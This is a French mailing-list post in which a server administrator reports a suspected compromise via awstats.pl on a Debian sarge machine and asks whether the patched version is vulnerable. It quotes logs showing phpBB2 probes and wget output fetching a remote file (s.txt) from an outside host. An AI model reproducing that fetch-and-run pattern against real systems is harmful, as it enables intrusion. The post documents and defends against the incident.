awstats, sarge
Bonjour à tous,
A 14h, j'ai eu la surprise de voir un de mes serveur ecroulé (load average à
80), un top très péniblement effectué juste avant les messages
May 27 14:37:55 yoda kernel: VM: killing process perl
May 27 14:39:11 yoda last message repeated 2 times
May 27 14:39:11 yoda last message repeated 4 times
May 27 14:39:11 yoda kernel: Unable to load interpreter /lib/ld-linux.so.2
May 27 14:39:11 yoda last message repeated 8 times
May 27 14:39:46 yoda out of memory [28659out of ]
May 27 14:39:11 yoda kernel: Unable to load interpreter /lib/ld-linux.so.2
[..]
m'a permis de voir un quantité importante d'apache et surtout un certain nombre
de perl exécutant awstats.pl. Un coup d'oeil dans les logs error.log m'a montré
[Tue May 27 13:36:25 2008] [error] [client 81.52.143.15] File does not exist: /var/www/phpBB2/viewtopic.php
[Tue May 27 13:38:09 2008] [error] [client 81.52.143.15] File does not exist: /var/www/phpBB2/viewtopic.php
[Tue May 27 13:42:13 2008] [error] [client 193.252.149.15] File does not exist: /var/www/phpBB2/profile.php
[Tue May 27 13:43:38 2008] [error] [client 81.52.143.15] File does not exist: /var/www/phpBB2/posting.php
--13:47:11-- http://www.ggfirm.com:80/s.txt
=> `s.txt'
Connecting to www.ggfirm.com:80... connected!
HTTP request sent, awaiting response... 200 OK
Length: 112,253 [text/plain]
0K -> .......... .......... .......... .......... .......... [ 45%]
50K -> .......... .......... .......... .......... .......... [ 91%]
100K -> ......... [100%]
13:47:12 (103.81 KB/s) - `s.txt' saved [112253/112253]
[Tue May 27 13:47:22 2008] [error] [client 193.252.149.15] File does not exist: /var/www/phpBB2/privmsg.php
mocks: no process killed
Invalid argument: stop
Missing or bad configuration file.
Invalid argument: stop
mocks: no process killed
[Tue May 27 13:50:54 2008] [error] [client 193.252.149.15] File does not exist: /var/www/phpBB2/posting.php
phpBB2 n'existe plus depuis au moins deux ans sur ce serveur et il ne faut pas s'arrêter
à ça, par contre on voit bien qu'un script a été détourné. Bon, visiblement ça n'a pas marché
et l'intégrité du serveur est conservé (surveillance md5sum), j'ai neutralisé awstats.
Mais ce qui m'étonnes est que j'ai la version 6.4-1sarge3 sur cette machine et cet awstats était
à jour (awstats_6.4-1sarge3) pour sarge. Y-a-t-il une faille sur cette version de awstats? J'avoue
que je suis perplexe. Le serveur est sous haute surveillance bien entendu.
Quelqu'un a-t-il eu echo d'une histoire analogue?
François Boisson
Reply to: